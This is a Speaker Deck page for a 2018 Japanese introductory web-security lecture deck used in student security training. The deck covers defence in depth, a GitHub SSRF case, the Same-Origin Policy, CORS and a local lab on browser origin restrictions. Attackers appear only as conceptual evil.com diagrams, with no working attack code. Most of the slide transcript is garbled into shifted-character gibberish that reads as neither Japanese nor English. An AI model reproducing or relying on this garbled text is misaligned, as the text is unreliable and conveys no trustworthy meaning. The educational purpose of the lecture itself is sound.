Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web セキュリティ入門 / Introduction to Web Security

Takashi Yoneuchi
November 17, 2018
24
7.8k

Web セキュリティ入門 / Introduction to Web Security

セキュリティ・ミニキャンプ in 岡山 2018 で使用されたコンテンツです。
誤りがあればぜひツッコミをください!
Twitter: @lmt_swallow, en: @y0n3uchy

演習の殆どはローカル向けのものだったので, 現在はアクセスできません
e.g. ホストが websec.example になっているもの

ただし XSS Challenge に関しては, 以下の URL からお試しいただけます:
https://xss.shift-js.info

Takashi Yoneuchi

November 17, 2018
Tweet

More Decks by Takashi Yoneuchi

See All by Takashi Yoneuchi
プロダクトセキュリティの「共通言語」を作る ― 技術教育と Policy as Code を例に / "Language" for Product Security
lmt_swallow
0
680
SREを以てセキュリティエンジニアリングを制す / SRE, Security Engineering, and You
lmt_swallow
5
2.8k
Eliminating ReDoS with Ruby 3.2
lmt_swallow
0
220
ソフトウェアサプライチェーンのこれから / Securing Software Supply Chain
lmt_swallow
1
210
AWSのセキュリティ管理をPolicy as Codeで加速する ― 最高のCSPM体験を目指して / Unleashing Policy as Code on AWS CSPM
lmt_swallow
3
2.1k
実践 SpiceDB - クライドネイティブ時代をサバイブできるパーミッション管理の実装を目指して / Practical SpiceDB
lmt_swallow
0
1.6k
Developer-First Security という考え方 / Introduction to Developer-First Security
lmt_swallow
6
9.1k
ちいさな Web ブラウザを作ってみよう（オンライン講義版） / Build Your Own Web Browser
lmt_swallow
18
11k
Go をセキュアに書き進めるための
「ガードレール」を整備しよう / Let's Build Security Guardrails For Your Go Programs!
lmt_swallow
4
5.4k

Featured

See All Featured
Building Better People: How to give real-time feedback that sticks.
wjessup
365
19k
The Language of Interfaces
destraynor
154
24k
Become a Pro
speakerdeck
PRO
26
5k
Improving Core Web Vitals using Speculation Rules API
sergeychernyshev
0
98
The Success of Rails: Ensuring Growth for the Next 100 Years
eileencodes
44
6.9k
Statistics for Hackers
jakevdp
796
220k
Thoughts on Productivity
jonyablonski
67
4.4k
Typedesign – Prime Four
hannesfritz
40
2.4k
A Tale of Four Properties
chriscoyier
157
23k
Building a Scalable Design System with Sketch
lauravandoore
460
33k
Speed Design
sergeychernyshev
25
670
KATA
mclloyd
29
14k

Transcript

  1. W 5BLBTIJ:POFVDIJ
 !MNU@TXBMMPX !ZOVDIZ
 IUUQTTIJGUKTJOGP 8FCηΩϡϦςΟೖ໳
 ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ

  2. © 2018 shift-js.info All Rights Reserved. Takashi Yoneuchi ‣ !MNU@TXBMMPX

    !ZOVDIZ ‣ 6OEFSHSBEVBUFBU6OJWPG5PLZP ‣ 4UB⒎BU4&$$0/#FHJOOFST ‣ 4UB⒎BU4FDVSJUZ$BNQ ‣ 4FFIUUQTTIJGUKTJOGP  

  3. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 0VUMJOF ‣ %FGFOTFJO%FQUIଟ૚๷ޚͱ͍͏ߟ͑ํ ‣

    ଟ૚๷ޚͱݺ͹ΕΔߟ͑ํʹֶ͍ͭͯͼ·͢ ‣ #PVOEBSZ8FCϒϥ΢βதͷڥք ‣ 8FCϒϥ΢βʹ͓͚Δڥքͷྫͱͯ͠0SJHJOΛֶͼ 
 0SJHJOʹؔ࿈ͨ͠๷ޚػߏʹ͍ͭͯͷϋϯζΦϯΛߦ͍·͢ ‣ $SPTT4JUF4DSJQUJOH944ͷݪཧ ࣮ફ ରࡦ ‣ 944Λڥքͷ؍఺͔Β੔ཧ͠ ࣮ફԋशΛߦ͍·͢ ‣ 'VUVSF8FCʹ͓͚ΔηΩϡϦςΟڥքͷ՝୊ͱະདྷ ‣ ࠷ۙͷ8FCʹ͓͚ΔηΩϡϦςΟͷ࿩Λͬ͘͟Γ੔ཧ͠·͢ 3

  4. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ (PBMT
 ຊߨٛͰ໨ࢦ͢ͱ͜Ζ ‣ ֶͼ͍ͨ͜ͱ

    ‣ 8FC4FDVSJUZCZ%FTJHOઃܭ্ͷෆඋΛݟൈ͘ྗ ‣ جૅతͳ944ʹؔ͢Δ஌ࣝ ‣ ࠷ۙͷ8FCηΩϡϦςΟ ͱΓΘ͚ϒϥ΢βͷηΩϡϦςΟػߏʹؔ͢Δ࿩ ‣ ߨٛऴྃޙ͍͚ͯͨͩͨ͠Βخ͍͜͠ͱ ‣ 8FCηΩϡϦςΟͷ࿩Λ๻ͱҰॹʹ௥͍͔͚ͯ΄͍͠ ‣ 8FCηΩϡϦςΟ͕޷͖ͱ͍͏ֶੜ͕ݮͬͨΑ͏ͳؾ͕͍ͯ͠Δ ‣ 8FCηΩϡϦςΟΛ޷͖ʹͳͬͯ͘ΕͨͳΒ ͱͯ΋خ͍͠ 4

  5. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $"65*0/
 ஫ҙࣄ߲ ‣ ྙཧ؍Λେ੾ʹ͍ͯͩ͘͠͞

    ‣ ࠓճԋशͰߦ͏8FCαΠτ΁ͷ߈ܸɾଞऀ΁ͷ߈ܸ͸ ඞͣ͜ͷ ؀ڥͷதͰͷΈʹཹΊ ֎෦ѼʹߦΘͳ͍Ͱ͍ͩ͘͞  ‣ ϩʔΧϧͰͷ࣮ݧʹͱͲ·Βͣ ֎෦ʹ߈ܸΛߦ͏ͷ͸ ๏཯ʹ఍৮͑͠·͢ 5

  6. %FGFOTFJO%FQUI ଟ૚๷ޚͱ͍͏ߟ͑ํ

  7. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ଟ૚๷ޚ %FGFOTFJO%FQUI 
 ෳ਺ͷ૚ΛॏͶΔ͜ͱͰ΋ͨΒ͞ΕΔ΋ͷ

    7 l %FGFOTFJOEFQUIJTUIFDPODFQUPGQSPUFDUJOHB DPNQVUFSOFUXPSLXJUIBTFSJFTPGEFGFOTJWF NFDIBOJTNTTVDIUIBUJGPOFNFDIBOJTNGBJMT  BOPUIFSXJMMBMSFBEZCFJOQMBDFUPUIXBSUBO BUUBDL
 4"/4*OTUJUVUF 4"/4*OTUJUVUF*OGP4FD3FBEJOH3PPN 
  IUUQTXXXTBOTPSHSFBEJOHSPPNXIJUFQBQFSTCBTJDTEFGFOTFJOEFQUI

  8. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ਎ۙͳڥք
 Ұൠࣾձʹ͓͚Δྫ ‣ ෺ཧతͳڥք͕͋Ε͹

    ৘ใͷ΍ΓऔΓ͸ଟগ੍ݶͰ͖Δ ‣ ݤ͕ͳ͚Ε͹ೖΕͳ͍ ‣ ೖΔ͜ͱ͑͢͞Ε͹ग़ΒΕΔ͜ͱ͕ଟ͍ ‣ ෦԰୯ҐͰೖୀࣨݖݶ؅ཧ΋େ੾ ౰ͨΓલ  ‣ ήετ༻ͷΧʔυͰࣾ௕ࣨʹೖΕͯ͸͍͚ͳ͍ 8

  9. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ෺ཧతڥք
 ػثࣗମ͕ͭͳ͕͍ͬͯͳ͍ ‣ ͦ΋ͦ΋ػثࣗମ͕

    ௚઀తʹ΋ؒ઀తʹ΋ ͭͳ͕͍ͬͯͳ͍ͷ Ͱ͋Ε͹ ͦͷؒ͸΍ΓͱΓͰ͖ͳ͍ 9

  10. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࿦ཧతڥք
 ωοτϫʔΫͷྫ ‣ ෺ཧతʹ͸ͭͳ͕͍ͬͯͯ΋

    ࿦ཧతʹ ਖ਼͘͠ ੾Γ཭͞Ε͍ͯΕ ͹ ͦͷؒ͸΍ΓͱΓͰ͖ͳ͍ ྫ7-"/ 10

  11. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࿦ཧతڥք
 04಺෦ͷྫ ‣ 04ʹ͸ύʔϛογϣϯ؅ཧͷ࢓૊Έ΍

    ͦͷଞͷ࿦ཧతڥք FH4&-JOVY ͕ଘࡏ͍ͯ͠Δ 11

  12. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ωοτϫʔΫ֎ɾ಺ͷڥք
 *%4 *14 %.;

    ‣ ಺෦ FHࣾ಺ ωοτϫʔΫ ͱΠϯλʔωοτͷؒʹڥք Λઃ͚Δ ‣ %.;Ͱެ։ྖҬΛ੾Γ෼͚ͨΓ  ‣ *%4 *OUSVTJPO%FUFDUJPO 4ZTUFN Ͱҟৗ௨৴Λଊ͑ͨΓ  ‣ *14 *OUSVTJPO1SFWFOUJPO 4ZTUFN Ͱҟৗ௨৴ΛϒϩοΫ ͨ͠Γʜ 12

  13. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ߈ܸऀͷ໨ઢ͔Β
 ޿ٛͷ ଟ૚๷ޚΛͲ͏ಥഁ͢Δ͔ ‣

    ௚઀ຊ࣭తͳ৘ใʹ౸ୡͰ͖ͳ͍৔߹͕ଟ͍ ‣ ͋Δ੬ऑͳՕॴΛى఺ʹ  ‣ ྫ੬ऑͳϢʔβʔͷೝূ৘ใΛى఺ʹ͢Δ ‣ ྫ ෺ཧతPSιϑτ΢ΣΞతʹ ੬ऑͳ୺຤Λى఺ʹ͢Δ ‣ ྫωοτϫʔΫ֎෦ʹެ։͞Ε͍ͯΔՕॴΛى఺ʹ͢Δ ‣ গͣͭ͠ΞΫηεͰ͖ΔൣғΛ޿͛Δ ‣ ྫϢʔβʔͷ׆ಈϩάΛ؍࡯ͯ͠ ͦͷ୺຤ɾೝূ৘ใ͔ΒΞΫηεͰ͖Δ ৘ใΛ୳ࡧ -"/಺ͷଞͷ੬ऑͳ୺຤Λ୳ࡧ ‣ ྫ443' 4FSWFS4JEF3FRVFTU'PSHFSZ ΍ 42-*OKFDUJPOͳͲͷ੬ऑੑ Λ࢖ͬͯ ωοτϫʔΫ্΍γεςϜ಺Λ୳ࡧ 13

  14. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣄྫ(JU)VC
 3FQPSUCZ0SBOHF5TBJ 14 

    1SPDPUPM4NVHHMJOH 8FCIPPLૹ৴ػೳ ೚ҙ63-΁ͷϦΫΤετൃߦ ϩʔΧϧͷผαʔϏεΛൃݟ ‣ )*5$0/ͷ0SBOHF5TBJ͞Μ ͕ൃݟͨ͠(JU)VCͰͷ3$&
 4FFIUUQTXXXCMBDLIBUDPNEPDTVTUIVSTEBZ VT5TBJ"/FX&SB0G443'&YQMPJUJOH63-1BSTFS*O 5SFOEJOH1SPHSBNNJOH-BOHVBHFTQEG  ‣ 8FCIPPLͷૹ৴ઌʹ 
 IUUQ ͸ ͱ౳Ձ ͕ઃఆͰ͖ͨ ‣ MPDBMIPTUΛ͜ΕΛ༻͍ͯ୳ࡧ Ͱ͖Δ ૄ௨νΣοΫ͕Մೳ  ‣ ݁Ռ൪Ͱ(SBQIJUF͕ ಈ͍͍ͯΔͷΛൃݟ

  15. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣄྫ(JU)VC
 3FQPSUCZ0SBOHF5TBJ 15 ϩʔΧϧͷผαʔϏεΛൃݟ

    ͦ͜Ͱ·ͨ೚ҙϦΫΤετൃߦ NFNDBDIFEʹ೚ҙσʔλૠೖ .BSTIBMͱ૊Έ߹Θͤͯ3$& ‣ MPDBMIPTUͷ(SBQIJUFʹର͠ ͯ$3-'*OKFDUJPOΛࢼΈ Α Γࣗ༝ʹϦΫΤετΛૹ৴͢Δ ͜ͱ͕Մೳʹͳͬͨ ‣ ݁Ռ8FCIPPLͷ݁Ռͱͯ͠ ೚ҙ஋Λ%#ʹྲྀ͠ࠐΊͨ ‣ ͜ΕΛ.BSTIBM σγϦΞϥΠ ζػߏ ͱ૊Έ߹Θͤ 3$&΁ ‣ ৄ͘͠͸0SBOHF͞Μͷࢿྉ Λࢀরͷ͜ͱ

  16. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣄྫ࢈૯ݚ ‣ ࢈૯ݚͷ৘ใγεςϜʹର͢Δෆਖ਼ͳΞΫηεʹؔ͢ΔใࠂΑΓҾ༻ ஫

    
 IUUQTXXXBJTUHPKQQEGBJTU@KUPQJDTUPUPBJTUQEG 16

  17. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣍ʹֶͿ΂͖͜ͱ
 Φεεϝͷॻ੶ɾ࿩୊ɾจॻ ‣ ࣍ͷࢿྉதͷ(JU)VCʹ͓͚ΔࣄྫΛݩʹ

    ͲͷΑ͏ͳ๷ޚϨΠϠ ͕͋Ε͹ ͋Δ͍͸ͲͷΑ͏ͳߏ੒Ͱ͋Ε͹ ҆શͰ͔͋ͬͨΛߟ ͑ͯΈ·͠ΐ͏ ‣ "/FX&SBPG443'&YQMPJUJOH63-1BSTFSJO5SFOEJOH 1SPHSBNNJOH-BOHVBHFTCZ0SBOHF5TBJ ‣ IUUQTXXXCMBDLIBUDPNEPDTVTUIVSTEBZVT5TBJ" /FX&SB0G443'&YQMPJUJOH63-1BSTFS*O5SFOEJOH 1SPHSBNNJOH-BOHVBHFTQEG ‣ 443'Λى఺ʹ%FGFOTFJO%FQUIΛ߈ུ͍ͯ͘͠࿩ 17

  18. #PVOEBSZ 8FCϒϥ΢βதͷڥք

  19. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ΋͠΋ͷ࿩
 ϒϥ΢βͷதʹڥք͕ͳ͔ͬͨΒ ‣ ΋͠ϒϥ΢βʹͳΜͷ੍໿΋ͳ͚Ε͹

    ߈ܸऀ͸ࣗ਎ͷ᠘ϖʔδʹ ༠ಋ͢Δ͚ͩͰ ৘ใ ޙड़ Λൈ͖ग़ͤΔ ‣ FWJMDPN͔ΒFYBNQMFDPNͷϖʔδ಺༰ΛಡΉ ‣ FWJMDPN͔ΒFYBNQMFDPNͷMPDBM4UPSBHFΛಡΉ 19 http://evil.com ޱ࠲൪߸, ࢒ߴ, ॅॴ, ... ࣗ༝ͳ৘ใͷ΍ΓͱΓ http://example.com

  20. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ຊདྷ͋Δ΂͖࢟
 ϒϥ΢βͷதͷڥք͸Ͳ͏Ҿ͔ΕΔ΂͖͔ 20 ‣

    $SPTT0SJHJOͰͷ੍໿͕ͳ͚Ε͹ ߈ܸऀ͸ࣗ਎ͷ᠘ϖʔδʹ༠ ಋ͢Δ͚ͩͰ৘ใΛൈ͚Δ ‣ FWJMDPN͔ΒFYBNQMFDPNͷϖʔδ಺༰ΛಡΉ ‣ FWJMDPN͔ΒFYBNQMFDPNͷMPDBM4UPSBHFΛಡΉ evil.com ޱ࠲൪߸, ࢒ߴ, ॅॴ, ... example.com ͜͜ͷڥքΛҾ͖͍ͨ! ͜͜ʹڥք͕͋Δ΂͖ ࣗ༝ͳ৘ใͷ΍ΓͱΓ

  21. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ԿΛ࢖ͬͯڥքΛҾ͔͘
 ϒϥ΢βͷதͷڥք͸Ͳ͏Ҿ͔ΕΔ΂͖͔ 21 ‣

    ߟ͑ͯΈ·͠ΐ͏ ‣ ڥք͸Ͳ͏Ҿ͘΂͖  ‣ ཧ۶తʹ͸৘ใ୯Ґ͝ͱʹҾ͖͍ͨ ‣ ͨͩݫ͘͠Ҿ͖͗͢ΔͱෆศʹͳΓ͗͢Δ ‣ Կ͕࢖͑ͦ͏͔  ‣ υϝΠϯ໊ ͦͷ͏ͪͲ͜Λ࢖͏͔͸໰୊  ‣ ໊લղܾͨ͠ޙͷ*1 ‣ ϙʔτ ‣ εΩʔϜ ‣ FUD ݕࡧΤϯδϯ Web ϝʔϥʔ จॻΤσΟλ

  22. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 0SJHJO 3'$5IF8FC0SJHJO$PODFQU ‣ ͋Δ63*ʹ͍ͭͯ

    ࣍ͷUVQMFΛ0SJHJOͱఆٛ͢Δɻ VSJTDIFNF VSJIPTU VSJQPSU  ‣ VSJTDIFNFεΩʔϜ FHIUUQ IUUQT   ‣ VSJIPTUϗετ FHFYBNQMFDPN   ‣ VSJQPSUϙʔτ FH    ‣ লུ࣌͸VSJTDIFNFʹରԠͨ͠σϑΥϧτϙʔτ͕ࢦఆ͞ΕΔɻ 22 IUUQFYBNQMFDPNTPNFQBUI

  23. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 4BNF0SJHJO1PMJDZ
 0SJHJOΛݩʹͯ͠कΔ ‣ 4BNF0SJHJO1PMJDZͱ͸

    ͋Δ0SJHJOΛ࣋ͭϖʔδɾεΫϦϓ τͳͲ͔ΒΞΫηεՄೳͳϦιʔεΛ ࣍ͷΑ͏ʹ੍ݶ͢Δ੍໿ ‣ ಉ͡0SJHJO 4BNF0SJHJO Λ࣋ͭϦιʔεʹ͸ΞΫηεͰ͖Δ ‣ ҟͳΔ0SJHJO $SPTT0SJHJO Λ࣋ͭϦιʔεʹΞΫηεͰ͖ͳ͍ ‣ ϦιʔεΛ0SJHJO͝ͱʹִ཭͢Δ 0SJHJO͕ڥք  ‣ ڥքΛ·͙ͨ $SPTT0SJHJOͳϦιʔεࢀরΛߦ͏ ͨΊʹ͸ ΞΫηε͞ ΕΔଆͷϦιʔε͔Βͷ໌ࣔతͳڐՄ͕ඞཁ $034"QQFOEJYࢀর 23

  24. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 401ʹΑΔ੍໿
 ໛ࣜਤͰ֬ೝ͢Δ 24 IUUQBFYBNQMFDPN

    QOH KTPO KTPO IUUQCFYBNQMFDPN {...} {...} 4BNF0SJHJOͰͷ௨৴
 جຊతʹSFTQPOTFͷಡΈग़͠ʹ ͸੍໿͕ͳ͍

  25. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 401ʹΑΔ੍໿
 ໛ࣜਤͰ֬ೝ͢Δ 25 IUUQBFYBNQMFDPN

    QOH KTPO KTPO IUUQCFYBNQMFDPN {...} {...} $SPTT0SJHJOͰͷ௨৴
 ී௨ͷ ޙड़ ϦΫΤετ͸Մೳ Ϩεϙϯε͸௨ৗಡΊͳ͍

  26. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 401͕͘ΕΔ΋ͷ 4BNF0SJHJO1PMJDZʹΑΓಘΒΕΔ݁Ռ ‣ 4BNF0SJHJO1PMJDZʹΑΓ

    ౪Έग़͍ͨ͠σʔλͷ͋Δ0SJHJO ͷ֎͔Β͸  ݪଇ ͦΕʹΞΫηεͰ͖ͳ͍ 26 Origin A த਎ʹ͸
 ৮ΕΒΕͳ͍ Origin B

  27. 2VFTUJPO
 4BNF0SJHJO 
 $SPTT0SJHJO

  28. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 2VFTUJPO4BNF0SJHJO ࣍ͷ63*͔ͨͪΒ4BNF0SJHJOͳ૊Λબ΅͏ ‣ IUUQTXXXFYBNQMFDPN

    ‣ IUUQXXXFYBNQMFDPN ‣ IUUQUFTUFYBNQMFDPN ‣ IUUQTXXXFYBNQMFDPNJOEFYIUNM ‣ IUUQTXXXFYBNQMFDPN ‣ IUUQTUFTUFYBNQMFDPN 28

  29. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 2VFTUJPO4BNF0SJHJO ࣍ͷ63*͔ͨͪΒ4BNF0SJHJOͳ૊Λબ΅͏ ‣ IUUQTXXXFYBNQMFDPN

    ‣ IUUQXXXFYBNQMFDPN ‣ IUUQUFTUFYBNQMFDPN ‣ IUUQTXXXFYBNQMFDPNJOEFYIUNM ‣ IUUQTXXXFYBNQMFDPN ‣ IUUQTUFTUFYBNQMFDPN 29

  30. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ /PUFTPO4BNF0SJHJO ͍͔ͭ͘ͷ஫ҙ఺ ‣ ͍͔ͭ͘஫ҙΛཁ͢ΔεΩʔϜ͕͋Δ

    ‣ FHEBUB pMF BCPVU ʜ ‣ ੍໿ͷൣғͳͲ ͸͖ͬΓ͠ͳ͍఺ ‣ 0SJHJOΛܧঝͯ͠UVQMFͳ0SJHJOΛ࣋ͭͷ͔ ‣ ͋Δ͍͸VOJRVFJEFOUJpFS TFF3'$ Λ࣋ͭͷ͔ ‣ ҎԼͷจॻΛಡΉ͜ͱΛקΊ·͢ ‣ ॏཁʂ·ͣ͸ʮΦϦδϯʯΛཧղ͠Α͏  
 IUUQXXXBUNBSLJUDPKQBJUBSUJDMFTOFXT@IUNM ‣ 3'$5IF8FC0SJHJO$PODFQU
 IUUQTUPPMTJFUGPSHIUNMSGD 30

  31. &YFSDJTF
 0SJHJOؔ࿈ͷηΩϡϦςΟ
 ػߏΛ࣮ײ͠Α͏

  32. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ &YFSDJTF401
 4BNF0SJHJO1PMJDZʹΑΔ੍ݶΛମײ͠Α͏ 32 ࣍ʹΞΫηεͯ͠ମײ͠Α͏

    ԋशωοτϫʔΫ্Ͱ  IUUQXFCTFDFYBNQMFTPQ ‣ ·ͣ͸401ΛΦϑʹͨ͠ঢ়ଶͰಈ͔ͯ͠Έ·͠ΐ͏ ‣ EJTBCMFXFCTFDVSJUZVTFSEBUBEJSΛΦϓγϣϯͱ෇͚ ͯىಈ͢Δͱ401౳͕ΦϑʹͳΔ ‣ .BDPQFOOB(PPHMFa$ISPNFBSHTEJTBCMFXFCTFDVSJUZVTFSEBUBEJS ‣ 8JOEPXT8JOEPXT 3ˠDISPNFFYFEJTBCMFXFCTFDVSJUZVTFSEBUBEJS ‣ ͦͷޙ 401ΛΦϯʹͨ͠ঢ়ଶͰಈ͔ͯ͠Έ·͠ΐ͏

  33. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ %FWFMPQFS5PPMT
 ศར ‣ ࠓ೔͸(PPHMF$ISPNF

    ͋Δ͍͸$ISPNJVN ʹ෇ଐͷ %FWFMPQFS5PPMTΛ࢖͏ͱศརͳ͜ͱ͕ଟ͍ ‣ ϖʔδ্ͰӈΫϦοΫˠʮௐࠪʯ PS*OTQFDU ΛΫϦοΫͯ͠ىಈ ‣ %FWFMPQFS5PPMT͸࣍ͷΑ͏ͳγϣʔτΧοτΩʔͰىಈ͢Δ͜ͱ΋Ͱ͖Δ ‣ 8JOEPXTͷ৔߹' ͋Δ͍͸$USM 4IJGU *Ͱىಈ
 .BDͷ৔߹$NE 0QU *Ͱىಈ 33

  34. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 34 8JOEPXT' $USM 4IJGU

    *
 .BD$NE 0QU *Ͱىಈ

  35. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 35 /FUXPSLλϒͰ)551 ௨৴ͷ༷ࢠ͕೷͚Δ

  36. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ڍಈΛ֬ೝ͢Δ
 401͕EJTBCMFEͳͱ͖ ‣ ͋Δ0SJHJO


    IUUQXFCTFDFYBNQMF ͔Βผͷ0SJHJO
 IUUQXFCTFDFYBNQMF ͷίϯςϯπΛಡΊ͍ͯΔ ‣ ྫ͑͹IUUQFWJMDPN͔Β IUUQHPPHMFDPNͷίϯς ϯπΛಡΊΔ ͱ͍͏͜ͱʜ 36

  37. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ڍಈΛ֬ೝ͢Δ
 401͕FOBCMFEͳͱ͖ ‣ ͱҧͬͯBMFSU͕ग़ͳ͍

    ‣ %FWFMPQFS5PPMTͷ$POTPMFλϒΛ։͘ͱΤϥʔ͕ग़͍ͯΔ 37

  38. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $034
 $SPTT0SJHJO3FTPVSDF4IBSJOH ‣ $SPTT0SJHJOͳϦιʔεࢀরΛڐՄ͢ΔͨΊͷ࢓૊Έ

    ‣ 401ʹΑΓ جຊతʹ͸ͦͷΑ͏ͳϦιʔεࢀর͸ϒϩοΫ͞Ε͍ͯΔ ‣ ओʹ0SJHJOϔομ "DDFTT$POUSPM"MMPX0SJHJOϔομ͕ओ໾ ‣ Ұ෦ͷϦΫΤετͰ͸࣍ͷΑ͏ͳϔομ͕ొ৔͢Δ ‣ "DDFTT$POUSPM3FRVFTU.FUIPE ‣ "DDFTT$POUSPM3FRVFTU)FBEFST ‣ "DDFTT$POUSPM"MMPX0SJHJO ‣ "DDFTT$POUSPM"MMPX.FUIPET ‣ "DDFTT$POUSPM"MMPX)FBEFST ‣ "DDFTT$POUSPM&YQPTF)FBEFST ‣ "DDFTT$POUSPM.BY"HF 38

  39. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ঢ়گઃఆ
 CFYBNQMFDPN͕IUUQBFYBNQMFDPN͔ΒͷಡΈग़͠ΛڐՄ͍ͨ͠ͱ͖ 39 IUUQBFYBNQMFDPN

    QOH KTPO KTPO IUUQCFYBNQMFDPN {...} {...} http://evil.example.com

  40. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ୯७ͳϦΫΤετ࣌ͷڍಈ
 CFYBNQMFDPN͕IUUQBFYBNQMFDPN͔ΒͷಡΈग़͠ΛڐՄ͍ͨ͠ͱ͖ 40 IUUQBFYBNQMFDPN

    QOH KTPO KTPO IUUQCFYBNQMFDPN {...} {...} http://evil.example.com (&5KTPO)551
 0SJHJOIUUQBFYBNQMFDPN 


  41. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ Ϩεϙϯε࣌ͷڍಈ
 CFYBNQMFDPN͕IUUQBFYBNQMFDPN͔ΒͷಡΈग़͠ΛڐՄ͍ͨ͠ͱ͖ 41 IUUQBFYBNQMFDPN

    QOH KTPO KTPO IUUQCFYBNQMFDPN {...} {...} http://evil.example.com )5510,
 "DDFTT$POUSPM"MMPX0SJHJO IUUQBFYBNQMFDPN
 
 ˠϨεϙϯε͕ಡΈग़ͤΔ


  42. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ϓϦϑϥΠτϦΫΤετ
 1SFqJHIU3FRVFTU 42 ‣

    ࣍ͷΑ͏ͳ௨ৗͷϦΫΤετΒ͘͠ͳ͍ϦΫΤετΛ͢Δ৔߹  Ѽઌ0SJHJOʹରͯ͠ ͦͷڐՄΛऔͨΊͷϦΫΤετ͕ඈͿ ‣ ΧελϜϔομʔΛ͚͍ͭͨ৔߹ ‣ Α͋͘Δ΋ͷҎ֎ͷ$POUFOU5ZQFΛૹग़͢Δ৔߹ ‣ (&5 1045 )&"%Ҏ֎ͷϦΫΤετΛ͢Δ৔߹ ‣ ͜ͷϦΫΤετΛϓϦϑϥΠτϦΫΤετͱݺͿ ‣ 015*0/4ϝιουΛ࢖ͬͯϦΫΤετ͕ߦΘΕΔ

  43. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ϓϦϑϥΠτϦΫΤετͷྫ
 1SFqJHIU3FRVFTU 43 ‣

    015*0/4ϝιουʹΑΔϓϦϑϥΠτϦΫΤετ͕ൃߦ͞ΕΔ ‣ 93&2)&"%&3ͱ͍͏ϔομ෇͖ͷ1045ϦΫΤετΛൃߦͯ͠Α͍ ͔ͷ໰͍߹Θ͕ͤߦΘΕ͍ͯΔ 015*0/4KTPO)551
 0SJHJOIUUQBFYBNQMFDPN "DDFTT$POUSPM3FRVFTU.FUIPE1045
 "DDFTT$POUSPM3FRVFTU)FBEFST93&2)&"%&3 BFYBNQMFDPN CFYBNQMFDPN

  44. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ϓϦϑϥΠτϦΫΤετͷྫ 3FTQPOTFUP1SFqJHIU3FRVFTU 44 BFYBNQMFDPN

    CFYBNQMFDPN )5510,
